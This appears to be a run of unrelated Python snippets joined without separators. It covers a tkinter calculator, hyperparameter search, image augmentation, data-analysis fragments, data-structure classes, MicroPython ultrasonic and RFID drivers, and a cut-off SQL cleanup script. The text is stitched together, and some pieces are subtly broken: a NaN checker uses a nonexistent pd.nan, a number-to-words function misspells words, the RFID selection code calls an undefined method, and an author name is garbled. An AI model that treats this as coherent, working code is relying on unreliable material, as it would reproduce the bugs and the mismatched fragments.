        divide = Button(gui, text='/', fg='white', bg='blue', command=lambda: press("/"), height=1, width=7)
        divide.grid(row=GRID_DICT["/"]["r"], column=GRID_DICT["/"]["c"]) 
        
        equals = Button(gui, text='=', fg='white', bg='blue', command=equalpress, height=1, width=7)
        equals.grid(row=GRID_DICT["="]["r"], column=GRID_DICT["="]["c"])
        
        clear = Button(gui, text='C', fg='white', bg='blue', command=clear, height=1, width=7)
        clear.grid(row=GRID_DICT["c"]["r"], column=GRID_DICT["c"]["c"])
        
        dec = Button(gui, text='.', fg='white', bg='blue', command=lambda: press("."), height=1, width=7)
        dec.grid(row=GRID_DICT["."]["r"], column=GRID_DICT["."]["c"])
        
        gui.mainloop()
import numpy as np
import pandas as pd
from functools import partial
from sklearn import ensemble
from sklearn import metrics
from sklearn import model_selection
from skopt import gp_minimize
from skopt import space


def optimize(params, param_names, x, y):
  """
  The main optimization function.
  This function takes all the arguments from the search space
  and training features and targets. It then initializes
  the models by setting the chosen parameters and runs
  cross-validation and returns a negative accuracy score
  :param params: list of params from gp_minimize
  :param param_names: list of param names. order is important!
  :param x: training data
  :param y: labels/targets
  :return: negative accuracy after 5 folds
  """
  # convert params to dictionary
  params = dict(zip(param_names, params))
  # initialize model with current parameters
  model = ensemble.RandomForestClassifier(**params)
  # initialize stratified k-fold
  kf = model_selection.StratifiedKFold(n_splits=5)
  # initialize accuracy list
  accuracies = []
  # loop over all folds
  for idx in kf.split(X=x, y=y):
    train_idx, test_idx = idx[0], idx[1]
    xtrain = x[train_idx]
    ytrain = y[train_idx]
    xtest = x[test_idx]
    ytest = y[test_idx]
    # fit model for current fold
    model.fit(xtrain, ytrain)
    #create predictions
    preds = model.predict(xtest)
    # calculate and append accuracy
    fold_accuracy = metrics.accuracy_score(
    ytest,
    preds
    )
    accuracies.append(fold_accuracy)
  # return negative accuracy
  return -1 * np.mean(accuracies)

if __name__ == "__main__":
  
  # read the training data
  df = pd.read_csv("../input/mobile_train.csv")
  # features are all columns without price_range
  # note that there is no id column in this dataset
  # here we have training features
  X = df.drop("price_range", axis=1).values
  # and the targets
  y = df.price_range.values
  # define a parameter space
  param_space = [
  # max_depth is an integer between 3 and 10
  space.Integer(3, 15, name="max_depth"),
  # n_estimators is an integer between 50 and 1500
  space.Integer(100, 1500, name="n_estimators"),
  # criterion is a category. here we define list of categories
  space.Categorical(["gini", "entropy"], name="criterion"),
  # you can also have Real numbered space and define a
  # distribution you want to pick it from
  space.Real(0.01, 1, prior="uniform", name="max_features")
  ]
  # make a list of param names
  # this has to be same order as the search space
  # inside the main function
  param_names = [
  "max_depth",
  "n_estimators",
  "criterion",
  "max_features"
  ]
  # by using functools partial, i am creating a
  # new function which has same parameters as the
  # optimize function except for the fact that
  # only one param, i.e. the "params" parameter is
  # required. this is how gp_minimize expects the
  # optimization function to be. you can get rid of this
  # by reading data inside the optimize function or by
  # defining the optimize function here.
  optimization_function = partial(
  optimize,
  param_names=param_names,
  x=X,
  y=y
  )

  # now we call gp_minimize from scikit-optimize
  # gp_minimize uses bayesian optimization for
  # minimization of the optimization function.
  # we need a space of parameters, the function itself,
  # the number of calls/iterations we want to have
  result = gp_minimize(
  optimization_function,
  dimensions=param_space,
  n_calls=15,
  n_random_starts=10,
  verbose=10
  )
  # create best params dict and print it
  best_params = dict(
  zip(
  param_names,
  result.x
  )
  )
  print(best_params)
# Python - Generate a 10-char, alphanumeric base36 aims id:

# Server ID (1)
# Year digit (1)
# Month digits (2)
# Date digits (2)
# Hour digits (2)
# Minute digits (2)
# Second digits (2)
# Millisecond digits (3)


from datetime import datetime
import re

# Get current date-time, removing all non numeric chars
current = re.sub(r'\D','',str(datetime.now()))

# remove 3 digits from either end and convert to int
current = int(current[3:17])


def convert_to_base36(int_str):
    # convert current integer 'string' to base36
    base36_alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    server_id = Watch.GetVariable("global.AIMS_Server_ID")

    b36_str = ""

    while int_str != 0:
        int_str, i = divmod(int_str, len(base36_alphabet))
        b36_str = base36_alphabet[i] + b36_str

    # ensure 9 characters in str
    b36_str = ("000000000" + b36_str)[-9:]

    return server_id + b36_str

# min & max values for current
min_test = int("00101000000000")
max_test = 91231235959999

aims_id = convert_to_base36(current)
import tensorflow as tf
from tensorflow import keras
import matplotlib.pyplot as plt

datagen = keras.preprocessing.image.ImageDataGenerator(
    rescale=1./255,
    rotation_range=180,
    width_shift_range=0.2,
    height_shift_range=0.2,
)

dir_It = datagen.flow_from_directory(
    "data/",
    batch_size=1,
    save_to_dir="output/",
    save_prefix="",
    save_format='png',
)

for _ in range(5):
    img, label = dir_It.next()
    print(img.shape)   #  (1,256,256,3)
    plt.imshow(img[0])
    plt.show()
# Positive & Negative Correlation:
dataset2 = dataset[['SeniorCitizen', 'Partner', 'Dependents',
       'tenure', 'PhoneService', 'PaperlessBilling',
        'MonthlyCharges', 'TotalCharges']]

correlations = dataset2.corrwith(dataset.Churn)
correlations = correlations[correlations!=1]

positive_correlations = correlations[correlations >0].sort_values(ascending = False)
negative_correlations =correlations[correlations<0].sort_values(ascending = False)

print('Most Positive Correlations: \n', positive_correlations)
print('\nMost Negative Correlations: \n', negative_correlations)


# Correlation Plot among Independent Variables:
#Set and compute the Correlation Matrix:
sn.set(style="white")
corr = dataset2.corr()

#Generate a mask for the upper triangle:
mask = np.zeros_like(corr, dtype=np.bool)
mask[np.triu_indices_from(mask)] = True

#Set up the matplotlib figure and a diverging colormap:
f, ax = plt.subplots(figsize=(18, 15))
cmap = sn.diverging_palette(220, 10, as_cmap=True)

#Draw the heatmap with the mask and correct aspect ratio:
sn.heatmap(corr, mask=mask, cmap=cmap, vmax=.3, center=0,
square=True, linewidths=.5, cbar_kws={"shrink": .5})
git clone git@github.com:runekaagaard/django-hypergen.git
cd django-hypergen/
virtualenv -p python3.9 venv
source venv/bin/activate
pip install -r requirements.txt
pip install -r examples/requirements.txt
cd examples
python manage.py migrate
python manage.py runserver
import math
import numpy as np
import pandas as pd

def nully(obj: any) -> bool:
    """Checks for all kinds of NaN, NaT and None
    Args:
        obj[any]: Object to check
    Returns:
        bool: True if obj is nully
    """
    conditions: List[bool] = [
      obj is None, # python None
      obj is np.nan, # numpy NaN
      obj is pd.nan, # pandas NA,
      obj is pd.NaT # pandas NaT
    ]
    try:
        conditions.append(math.isnan(obj)) # python NaN
    except TypeError: # not a number type
        pass
    if any(conditions):
        return True
    return False
in main:

def setup_logging(console, logfile):
    logger = logging.getLogger()
    logger.setLevel(logging.INFO)
    formatter = logging.Formatter('%(asctime)s - %(message)s')
    if (console):
        console_handler = logging.StreamHandler()
        console_handler.setFormatter(formatter)
        logger.addHandler(console_handler)
    if (logfile):
        filename = '{}.log'.format(time.strftime('%Y%m%d%H%M%S'))
        file_handler = logging.FileHandler(filename)
        file_handler.setFormatter(formatter)
        logger.addHandler(file_handler)
    if ((logfile == False) and (console == False)):
        logger.addHandler(logging.NullHandler())

    return logger


in module:

...
self._logger = logging.getLogger(__name__)
...
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-c', '--com-port', metavar='N', type=int, required=True, help='HART modem com port')
parser.add_argument('-s', '--slave-address', metavar='N', type=int, default=0, help='HART slave address')
parser.add_argument('-l', '--log', action='store_true', help='log to file')
parser.add_argument('-v', '--verbose', action='store_true', help='print values to console')
args = parser.parse_args()

logger = setup_logging(args.verbose, args.log)
class Dsu:
    
    def __init__(self, n):
        self.parent = list(range(n))
        self.rank = [1] * n
        
    def find(self, x):
        if self.parent[x] != x:
            self.parent[x] = self.find(self.parent[x])
        return self.parent[x]
    
    def union(self, x, y):
        x = self.find(x)
        y = self.find(y)
        
        if x == y:
            return
        
        if self.rank[x] > self.rank[y]:
            self.parent[y] = x
        elif self.rank[x] < self.rank[y]:
            self.parent[x] = y
        else:
            self.parent[y] = x
            self.rank[x] += 1
class Node:
    def __init__(self, data):
        self.data = data
        self.next = None


class CircularLinkedList:
    def __init__(self):
        self.last = None

    def addToEmpty(self, data):

        if self.last != None:
            return self.last

        newNode = Node(data)

        self.last = newNode
        self.last.next = self.last
        return self.last
    def addFront(self, data):

        if self.last == None:
            return self.addToEmpty(data)

        newNode = Node(data)

        newNode.next = self.last.next

        self.last.next = newNode

        return self.last
    def addEnd(self, data):
        if self.last == None:
            return self.addToEmpty(data)
        newNode = Node(data)
        newNode.next = self.last.next
        self.last.next = newNode

        self.last = newNode

        return self.last

    def addAfter(self, data, item):

        if self.last == None:
            return None

        newNode = Node(data)
        p = self.last.next
        while p:

            if p.data == item:
                newNode.next = p.next
                p.next = newNode

                if p == self.last:
                    self.last = newNode
                    return self.last
                else:
                    return self.last
            p = p.next
            if p == self.last.next:
                print(item, "The given node is not present in the list")
                break

    def deleteNode(self, last, key):
        if last == None:
            return
"""
My numpydoc description of a kind
of very exhautive numpydoc format docstring.

Parameters
----------
first : array_like
    the 1st param name `first`
second :
    the 2nd param
third : {'value', 'other'}, optional
    the 3rd param, by default 'value'

Returns
-------
string
    a value in a string

Raises
------
KeyError
    when a key error
OtherError
    when an other error
"""
"""
This is an example of Google style.

Args:
    param1: This is the first param.
    param2: This is a second param.

Returns:
    This is a description of what is returned.

Raises:
    KeyError: Raises an exception.
"""
import pandas as pd
data = pd.read_csv('../input/udemy-courses/udemy_courses.csv')

x = pd.Series([int(i[:4]) for i in data.published_timestamp])
xx = pd.DataFrame(x,columns=['published_year'])
z = pd.Series([int(i[5:7]) for i in data.published_timestamp])
zz = pd.DataFrame(z,columns=['published_day'])

data = pd.concat([data,xx,zz],axis=1)
data
def numToEng(n):
  m =list(str(n))
  a = { '0':'zero','1':'one','2':'tow','3':'three','4':'four','5':'five','6':'six','7':'seven','8':'eight','9':'nine'}
  b = {'10':'ten','11':'eleven','12': 'twelve','13': 'therteen','14': 'fourteen','15': 'fifteen' ,'16':'sixteen' ,'17':'seventeen', '18':'eighteen','19': 'nineteen'}
  c = { '2': 'twenty','3': 'thirty', '4': 'forty' ,'5': 'fifty' ,'6':'sixty' ,'7': 'seventy' ,'8':'eighty','9': 'ninety'}
  
  def anum(m):
    return a.get(''.join(m))
  def bnum(m):
    if n<20 or int(''.join(m))<20:
      return b.get(''.join(m))
    else:
      if m[1] is '0':
        return c.get(m[0])
      if m[1] is not '0':
        return c.get(m[0])+'-'+anum(m[1])
  def cnum(m):
    rr = int(''.join(m))
    if rr in [100,200,300,400,500,600,700,800,900]:
      return a.get(m[0])+' hundred'
    elif m[1]=='0':
      return str(a.get(m[0])+' hundred '+a.get(m[2]))
    else:
      return str(a.get(m[0])+' hundred '+ bnum(m[1:3]))
  if len(m)==1:
    return anum(m)
  elif len(m)==2:
    return bnum(m)
  elif len(m)==3:
    return cnum(m)
from pandas_profiling import ProfileReport
import pandas as pd

test = pd.read_csv('../input/house-prices-advanced-regression-techniques/test.csv')
train = pd.read_csv('../input/house-prices-advanced-regression-techniques/train.csv')

profile = ProfileReport(train, title="train Pandas Profiling Report")
profile.to_file("train_report.html")
profile = ProfileReport(test, title="test Pandas Profiling Report")
profile.to_file("test_report.html")
>>> def z(n, c):
...     if n == 0:
...         return 0
...     else:
...         return z(n - 1, c) ** 2 + c
class MyClass:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def __eq__(self, other):
        return self.name == other.name and self.age == other.age

    def __repr__(self):
        return f"MyClass({self.name}, {self.age})"

    def __hash__(self):
        return hash(self.__repr__())


a = MyClass('taha', 30)
b = MyClass('taha', 30)

c = {a, b}
print(c)
def create_dir(path, sub_dirs, label_dirs):
    for sub_dir in sub_dirs: 
        for label_dir in label_dirs:
            new_dir = os.path.join(path, sub_dir, label_dir)
            Path(new_dir).mkdir(parents=True, exist_ok=True)
            print(new_dir)
    
    print('All directories created successfully!')

FOLDER_PATH = 'dataset/'
SUB_DIRS = ['train/', 'test/']
LABEL_DIR = ['dogs/', 'cats/']

create_dir(FOLDER_PATH, SUB_DIRS, LABEL_DIR)
Python 3.4.1 (default, May 21 2014, 12:39:51) 
[GCC 4.2.1 Compatible Apple LLVM 5.0 (clang-500.2.79)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> with open('parrot.pkl', 'rb') as f:
...   mynewlist = pickle.load(f)
... 
>>> mynewlist
['I wish to complain about this parrot what I purchased not half an hour ago from this very boutique.', "Oh yes, the, uh, the Norwegian Blue...What's,uh...What's wrong with it?", "I'll tell you what's wrong with it, my lad. 'E's dead, that's what's wrong with it!", "No, no, 'e's uh,...he's resting."]
>>>
train_datagen = image.ImageDataGenerator(
  	rescale = 1./255,  # to normalize bigger values. Convert from 0-255 to 0-1 range.
    shear_range = 0.2,
    zoom_range = 0.2,
    horizontal_flip = True
)


# only rescaling done on test dataset
test_datagen = image.ImageDataGenerator(
    rescale = 1./255
)

train_generator = train_datagen.flow_from_directory(
    directory=TRAIN_PATH,
    target_size=(224,224),
    batch_size=32,
    class_mode='binary',
    save_to_dir = SAVE_TRAIN_PATH,
    save_prefix='',
    save_format='png'
)

validation_generator = test_datagen.flow_from_directory(
    VAL_PATH,
    target_size = (224,224),
    batch_size = 32,
    class_mode = 'binary'
)

# 
train_generator.class_indices
validation_generator.class_indices

# generate augmented images and save into the directory
for i in range(5):
  train_generator.next()
  
  
import pathlib
from pathlib import Path

def create_folder(path):
  if Path(path).is_dir():
    print ("Folder already exists!")
  else:
    pathlib.Path(path).mkdir(parents=True, exist_ok=True) 
    print ("Folder created!")    


FOLDER_PATH = '/content/drive/MyDrive/detect-covid19-xray/data-preprocessed'
create_folder(FOLDER_PATH)

def int2base(num, base, abc="0123456789abcdefghijklmnopqrstuvwxyz"):
  if num < 0:
    return '-' + int2base(-num, base, abc)

  else:
    output = abc[num % base] # rightmost digit

    while num >= base:
      num //= base # move to next digit to the left
      output = abc[num % base] + output # this digit

    return output
from hcsr04 import HCSR04
from time import sleep

sensor = HCSR04(trigger_pin=2, echo_pin=3, echo_timeout_us=10000)

while True:
    distance = sensor.distance_cm()
    print('Distance:', distance, 'cm')
    sleep(1)
import machine, time
from machine import Pin

__version__ = '0.2.0'
__author__ = 'Roberto S鐠嬶箯chez'
__license__ = "Apache License 2.0. https://www.apache.org/licenses/LICENSE-2.0"

class HCSR04:
    """
    Driver to use the untrasonic sensor HC-SR04.
    The sensor range is between 2cm and 4m.
    The timeouts received listening to echo pin are converted to OSError('Out of range')
    """
    # echo_timeout_us is based in chip range limit (400cm)
    def __init__(self, trigger_pin, echo_pin, echo_timeout_us=500*2*30):
        """
        trigger_pin: Output pin to send pulses
        echo_pin: Readonly pin to measure the distance. The pin should be protected with 1k resistor
        echo_timeout_us: Timeout in microseconds to listen to echo pin. 
        By default is based in sensor limit range (4m)
        """
        self.echo_timeout_us = echo_timeout_us
        # Init trigger pin (out)
        self.trigger = Pin(trigger_pin, mode=Pin.OUT, pull=None)
        self.trigger.value(0)

        # Init echo pin (in)
        self.echo = Pin(echo_pin, mode=Pin.IN, pull=None)

    def _send_pulse_and_wait(self):
        """
        Send the pulse to trigger and listen on echo pin.
        We use the method `machine.time_pulse_us()` to get the microseconds until the echo is received.
        """
        self.trigger.value(0) # Stabilize the sensor
        time.sleep_us(5)
        self.trigger.value(1)
        # Send a 10us pulse.
        time.sleep_us(10)
        self.trigger.value(0)
        try:
            pulse_time = machine.time_pulse_us(self.echo, 1, self.echo_timeout_us)
            return pulse_time
        except OSError as ex:
            if ex.args[0] == 110: # 110 = ETIMEDOUT
                raise OSError('Out of range')
            raise ex

    def distance_mm(self):
        """
        Get the distance in milimeters without floating point operations.
        """
        pulse_time = self._send_pulse_and_wait()

        # To calculate the distance we get the pulse_time and divide it by 2 
        # (the pulse walk the distance twice) and by 29.1 becasue
        # the sound speed on air (343.2 m/s), that It's equivalent to
        # 0.34320 mm/us that is 1mm each 2.91us
        # pulse_time // 2 // 2.91 -> pulse_time // 5.82 -> pulse_time * 100 // 582 
        mm = pulse_time * 100 // 582
        return mm

    def distance_cm(self):
        """
        Get the distance in centimeters with floating point operations.
        It returns a float
        """
        pulse_time = self._send_pulse_and_wait()

        # To calculate the distance we get the pulse_time and divide it by 2 
        # (the pulse walk the distance twice) and by 29.1 becasue
        # the sound speed on air (343.2 m/s), that It's equivalent to
        # 0.034320 cm/us that is 1cm each 29.1us
        cms = (pulse_time / 2) / 29.1
        return cms
from machine import Pin
from mfrc522 import MFRC522
import utime
       
reader = MFRC522(spi_id=0,sck=2,miso=4,mosi=3,cs=1,rst=0)

red = Pin(13, Pin.OUT)
green = Pin(12, Pin.OUT)
blue = Pin(11, Pin.OUT)

print("Bring RFID TAG Closer...")
print("")


while True:
    reader.init()
    (stat, tag_type) = reader.request(reader.REQIDL)
    if stat == reader.OK:
        (stat, uid) = reader.SelectTagSN()
        if stat == reader.OK:
            card = int.from_bytes(bytes(uid),"little",False)
            
            if card == 612121286:
                print("Card ID: "+ str(card)+" PASS: Green Light Activated")
                red.value(0)
                green.value(1)
                blue.value(0)
                
                
            elif card == 1002696326:
                print("Card ID: "+ str(card)+" PASS: Blue Light Activated")
                red.value(0)
                green.value(0)
                blue.value(1)
                
            else:
                print("Card ID: "+ str(card)+" UNKNOWN CARD! Red Light Activated")
                red.value(1)
                green.value(0)
                blue.value(0)           
from mfrc522 import MFRC522
import utime

reader = MFRC522(spi_id=0,sck=2,miso=4,mosi=3,cs=1,rst=0)

print("Bring TAG closer...")
print("")


while True:
    reader.init()
    (stat, tag_type) = reader.request(reader.REQIDL)
    if stat == reader.OK:
        (stat, uid) = reader.SelectTagSN()
        if stat == reader.OK:
            card = int.from_bytes(bytes(uid),"little",False)
            print("CARD ID: "+str(card))
utime.sleep_ms(500) 
from machine import Pin, SPI
from os import uname


class MFRC522:

    DEBUG = False
    OK = 0
    NOTAGERR = 1
    ERR = 2

    REQIDL = 0x26
    REQALL = 0x52
    AUTHENT1A = 0x60
    AUTHENT1B = 0x61
  
    PICC_ANTICOLL1 = 0x93
    PICC_ANTICOLL2 = 0x95
    PICC_ANTICOLL3 = 0x97
  

    def __init__(self, sck, mosi, miso, rst, cs,baudrate=1000000,spi_id=0):

        self.sck = Pin(sck, Pin.OUT)
        self.mosi = Pin(mosi, Pin.OUT)
        self.miso = Pin(miso)
        self.rst = Pin(rst, Pin.OUT)
        self.cs = Pin(cs, Pin.OUT)

        self.rst.value(0)
        self.cs.value(1)
        
        board = uname()[0]

        if board == 'WiPy' or board == 'LoPy' or board == 'FiPy':
            self.spi = SPI(0)
            self.spi.init(SPI.MASTER, baudrate=1000000, pins=(self.sck, self.mosi, self.miso))
        elif (board == 'esp8266') or (board == 'esp32'):
            self.spi = SPI(baudrate=100000, polarity=0, phase=0, sck=self.sck, mosi=self.mosi, miso=self.miso)
            self.spi.init()
        elif board == 'rp2':
            self.spi = SPI(spi_id,baudrate=baudrate,sck=self.sck, mosi= self.mosi, miso= self.miso)
        else:
            raise RuntimeError("Unsupported platform")

        self.rst.value(1)
        self.init()

    def _wreg(self, reg, val):

        self.cs.value(0)
        self.spi.write(b'%c' % int(0xff & ((reg << 1) & 0x7e)))
        self.spi.write(b'%c' % int(0xff & val))
        self.cs.value(1)

    def _rreg(self, reg):

        self.cs.value(0)
        self.spi.write(b'%c' % int(0xff & (((reg << 1) & 0x7e) | 0x80)))
        val = self.spi.read(1)
        self.cs.value(1)

        return val[0]

    def _sflags(self, reg, mask):
        self._wreg(reg, self._rreg(reg) | mask)

    def _cflags(self, reg, mask):
        self._wreg(reg, self._rreg(reg) & (~mask))

    def _tocard(self, cmd, send):

        recv = []
        bits = irq_en = wait_irq = n = 0
        stat = self.ERR

        if cmd == 0x0E:
            irq_en = 0x12
            wait_irq = 0x10
        elif cmd == 0x0C:
            irq_en = 0x77
            wait_irq = 0x30

        self._wreg(0x02, irq_en | 0x80)
        self._cflags(0x04, 0x80)
        self._sflags(0x0A, 0x80)
        self._wreg(0x01, 0x00)

        for c in send:
            self._wreg(0x09, c)
        self._wreg(0x01, cmd)

        if cmd == 0x0C:
            self._sflags(0x0D, 0x80)

        i = 2000
        while True:
            n = self._rreg(0x04)
            i -= 1
            if ~((i != 0) and ~(n & 0x01) and ~(n & wait_irq)):
                break

        self._cflags(0x0D, 0x80)

        if i:
            if (self._rreg(0x06) & 0x1B) == 0x00:
                stat = self.OK

                if n & irq_en & 0x01:
                    stat = self.NOTAGERR
                elif cmd == 0x0C:
                    n = self._rreg(0x0A)
                    lbits = self._rreg(0x0C) & 0x07
                    if lbits != 0:
                        bits = (n - 1) * 8 + lbits
                    else:
                        bits = n * 8

                    if n == 0:
                        n = 1
                    elif n > 16:
                        n = 16

                    for _ in range(n):
                        recv.append(self._rreg(0x09))
            else:
                stat = self.ERR

        return stat, recv, bits

    def _crc(self, data):

        self._cflags(0x05, 0x04)
        self._sflags(0x0A, 0x80)

        for c in data:
            self._wreg(0x09, c)

        self._wreg(0x01, 0x03)

        i = 0xFF
        while True:
            n = self._rreg(0x05)
            i -= 1
            if not ((i != 0) and not (n & 0x04)):
                break

        return [self._rreg(0x22), self._rreg(0x21)]

    def init(self):

        self.reset()
        self._wreg(0x2A, 0x8D)
        self._wreg(0x2B, 0x3E)
        self._wreg(0x2D, 30)
        self._wreg(0x2C, 0)
        self._wreg(0x15, 0x40)
        self._wreg(0x11, 0x3D)
        self.antenna_on()

    def reset(self):
        self._wreg(0x01, 0x0F)

    def antenna_on(self, on=True):

        if on and ~(self._rreg(0x14) & 0x03):
            self._sflags(0x14, 0x03)
        else:
            self._cflags(0x14, 0x03)

    def request(self, mode):

        self._wreg(0x0D, 0x07)
        (stat, recv, bits) = self._tocard(0x0C, [mode])

        if (stat != self.OK) | (bits != 0x10):
            stat = self.ERR

        return stat, bits
  
    def anticoll(self,anticolN):

        ser_chk = 0
        ser = [anticolN, 0x20]

        self._wreg(0x0D, 0x00)
        (stat, recv, bits) = self._tocard(0x0C, ser)

        if stat == self.OK:
            if len(recv) == 5:
                for i in range(4):
                    ser_chk = ser_chk ^ recv[i]
                if ser_chk != recv[4]:
                    stat = self.ERR
            else:
                stat = self.ERR

        return stat, recv

    
    def PcdSelect(self, serNum,anticolN):
        backData = []
        buf = []
        buf.append(anticolN)
        buf.append(0x70)
        #i = 0
        ###xorsum=0;
        for i in serNum:
            buf.append(i)
        #while i<5:
        #    buf.append(serNum[i])
        #    i = i + 1
        pOut = self._crc(buf)
        buf.append(pOut[0])
        buf.append(pOut[1])
        (status, backData, backLen) = self._tocard( 0x0C, buf)
        if (status == self.OK) and (backLen == 0x18):
            return  1
        else:
            return 0
    
    
    def SelectTag(self, uid):
        byte5 = 0
        
        #(status,puid)= self.anticoll(self.PICC_ANTICOLL1)
        #print("uid",uid,"puid",puid)
        for i in uid:
            byte5 = byte5 ^ i
        puid = uid + [byte5]
        
        if self.PcdSelect(puid,self.PICC_ANTICOLL1) == 0:
            return (self.ERR,[])
        return (self.OK , uid)
        
    def tohexstring(self,v):
        s="["
        for i in v:
            if i != v[0]:
                s = s+ ", "
            s=s+ "0x{:02X}".format(i)
        s= s+ "]"
        return s
        
  
            
    
    def SelectTagSN(self):
        valid_uid=[]
        (status,uid)= self.anticoll(self.PICC_ANTICOLL1)
        #print("Select Tag 1:",self.tohexstring(uid))
        if status != self.OK:
            return  (self.ERR,[])
        
        if self.DEBUG:   print("anticol(1) {}".format(uid))
        if self.PcdSelect(uid,self.PICC_ANTICOLL1) == 0:
            return (self.ERR,[])
        if self.DEBUG:   print("pcdSelect(1) {}".format(uid))
        
        #check if first byte is 0x88
        if uid[0] == 0x88 :
            #ok we have another type of card
            valid_uid.extend(uid[1:4])
            (status,uid)=self.anticoll(self.PICC_ANTICOLL2)
            #print("Select Tag 2:",self.tohexstring(uid))
            if status != self.OK:
                return (self.ERR,[])
            if self.DEBUG: print("Anticol(2) {}".format(uid))
            rtn =  self.PcdSelect(uid,self.PICC_ANTICOLL2)
            if self.DEBUG: print("pcdSelect(2) return={} uid={}".format(rtn,uid))
            if rtn == 0:
                return (self.ERR,[])
            if self.DEBUG: print("PcdSelect2() {}".format(uid))
            #now check again if uid[0] is 0x88
            if uid[0] == 0x88 :
                valid_uid.extend(uid[1:4])
                (status , uid) = self.anticoll(self.PICC_ANTICOLL3)
                #print("Select Tag 3:",self.tohexstring(uid))
                if status != self.OK:
                    return (self.ERR,[])
                if self.DEBUG: print("Anticol(3) {}".format(uid))
                if self.MFRC522_PcdSelect(uid,self.PICC_ANTICOLL3) == 0:
                    return (self.ERR,[])
                if self.DEBUG: print("PcdSelect(3) {}".format(uid))
        valid_uid.extend(uid[0:5])
        # if we are here than the uid is ok
        # let's remove the last BYTE whic is the XOR sum
        
        return (self.OK , valid_uid[:len(valid_uid)-1])
        #return (self.OK , valid_uid)
    
    
   
       
    

    def auth(self, mode, addr, sect, ser):
        return self._tocard(0x0E, [mode, addr] + sect + ser[:4])[0]
    
    def authKeys(self,uid,addr,keyA=None, keyB=None):
        status = self.ERR
        if keyA is not None:
            status = self.auth(self.AUTHENT1A, addr, keyA, uid)
        elif keyB is not None:
            status = self.auth(self.AUTHENT1B, addr, keyB, uid)
        return status
       

    def stop_crypto1(self):
        self._cflags(0x08, 0x08)

    def read(self, addr):

        data = [0x30, addr]
        data += self._crc(data)
        (stat, recv, _) = self._tocard(0x0C, data)
        return stat, recv

    def write(self, addr, data):

        buf = [0xA0, addr]
        buf += self._crc(buf)
        (stat, recv, bits) = self._tocard(0x0C, buf)

        if not (stat == self.OK) or not (bits == 4) or not ((recv[0] & 0x0F) == 0x0A):
            stat = self.ERR
        else:
            buf = []
            for i in range(16):
                buf.append(data[i])
            buf += self._crc(buf)
            (stat, recv, bits) = self._tocard(0x0C, buf)
            if not (stat == self.OK) or not (bits == 4) or not ((recv[0] & 0x0F) == 0x0A):
                stat = self.ERR
        return stat


    def writeSectorBlock(self,uid, sector, block, data, keyA=None, keyB = None):
        absoluteBlock =  sector * 4 + (block % 4)
        if absoluteBlock > 63 :
            return self.ERR
        if len(data) != 16:
            return self.ERR
        if self.authKeys(uid,absoluteBlock,keyA,keyB) != self.ERR :
            return self.write(absoluteBlock, data)
        return self.ERR

    def readSectorBlock(self,uid ,sector, block, keyA=None, keyB = None):
        absoluteBlock =  sector * 4 + (block % 4)
        if absoluteBlock > 63 :
            return self.ERR, None
        if self.authKeys(uid,absoluteBlock,keyA,keyB) != self.ERR :
            return self.read(absoluteBlock)
        return self.ERR, None

    def MFRC522_DumpClassic1K(self,uid, Start=0, End=64, keyA=None, keyB=None):
        for absoluteBlock in range(Start,End):
            status = self.authKeys(uid,absoluteBlock,keyA,keyB)
            # Check if authenticated
            print("{:02d} S{:02d} B{:1d}: ".format(absoluteBlock, absoluteBlock//4 , absoluteBlock % 4),end="")
            if status == self.OK:                    
                status, block = self.read(absoluteBlock)
                if status == self.ERR:
                    break
                else:
                    for value in block:
                        print("{:02X} ".format(value),end="")
                    print("  ",end="")
                    for value in block:
                        if (value > 0x20) and (value < 0x7f):
                            print(chr(value),end="")
                        else:
                            print('.',end="")
                    print("")
            else:
                break
        if status == self.ERR:
            print("Authentication error")
            return self.ERR
        return self.OK
buffer = io.BytesIO()
# ...
with open("test.dat", "wb") as f:
    f.write(buffer.getvalue())
df['mean_1year'] = df.groupby('type')['price'].rolling('365D').mean().reset_index(0,drop=True)
"""A sciprt to drop optimization runs based on a run_date"""
import os
from ams.db import sql_execute

connection_string = os.environ['DB_A']

uk_models = [
    'UKGR',
    'UKCO',
    'UKCB',
    'UKBG',
    'UKBAL'
]

uk_models_policies = [
    'UKGR',
    'UKCO',
    'UKCB',
    'UKBG',
    'UKBAL',
    'PUKBAL',
    'PUKBG',
    'PUKCB',
    'PUKCO',
    'PUKGR'
]

uk_asset_classes = [
    'EMD_GBP',
    'UK_LARGE',
    'UK_MID',
    'UK_GOV',
    'US_AGG_GBP_H',
    'US_SHORT_GBP',
    'EUR_AGG_XUK_GBP_H',
    'PACIFIC_XJP_GBP',
    'EM_GBP',
    'US_HY_GBP_H',
    'US_LC_GBP',
    'UK_SHORT_GOV',
    'US_SHORT_GBP_H',
    'UK_CORP',
    'US_SMALL_GBP',
    'EUR_AGG_XUK_GBP',
    'EMD_GBP_H',
    'UK_CASH',
    'EUR_XUK_GBP',
    'JAPAN_GBP',
    'US_HY_GBP',
    'UK_LINK',
    'UK_SHORT_CORP',
    'US_AGG_GBP'
]

muni_models = [
    'HBGMN',
    'HBGMT',
    'HBMN',
    'HBMT',
    'HCBMN',
    'HCBMT',
    'HCMN',
    'HCMT'
]

muni_models_policies = [
    'HBGMN',
    'HBGMT',
    'HBMN',
    'HBMT',
    'HCBMN',
    'HCBMT',
    'HCMN',
    'HCMT',
    'PMUNBA',
    'PMUNBG',
    'PMUNCB',
    'PMUNCO'
]

muni_asset_classes = [
    'NT_MUNI',
    'MUNI_AA',
    'MUNI_BB',
    'MUNI_B',
    'MUNI_CCC',
    'EAFE_AC_MUNI',
    'US_LC_MUNI',
    'US_DEF_MUNI',
    'US_SMID_MUNI',
    'EAFE_MUNI',
    'EAFE_SC_MUNI',
    'EM_MUNI',
    'EMD_MUNI',
    'INTL_AGG_MUNI',
    'EMLC_MUNI',
    'CASH_MUNI',
    'MA_MUNI',
    'MF_MUNI',
    'US_LONG_MUNI',
    'US_MID_MUNI',
    'US_SMALL_MUNI',
    'MUNI',
    'MUNI_HY',
    'MUNI_SHORT',
    'MUNI_AAA',
    'MUNI_A',
    'MUNI_BBB'
]

uk_models = tuple(uk_models)
uk_models_policies = tuple(uk_models_policies)
uk_asset_classes = tuple(uk_asset_classes)
muni_models = tuple(muni_models)
muni_models_policies = tuple(muni_models_policies)
muni_asset_classes = tuple(muni_asset_classes)

def delete_fi_cmas(run_date):
    """
    This function deletes SQL output from the script in the function name for a given run_date

    Args:
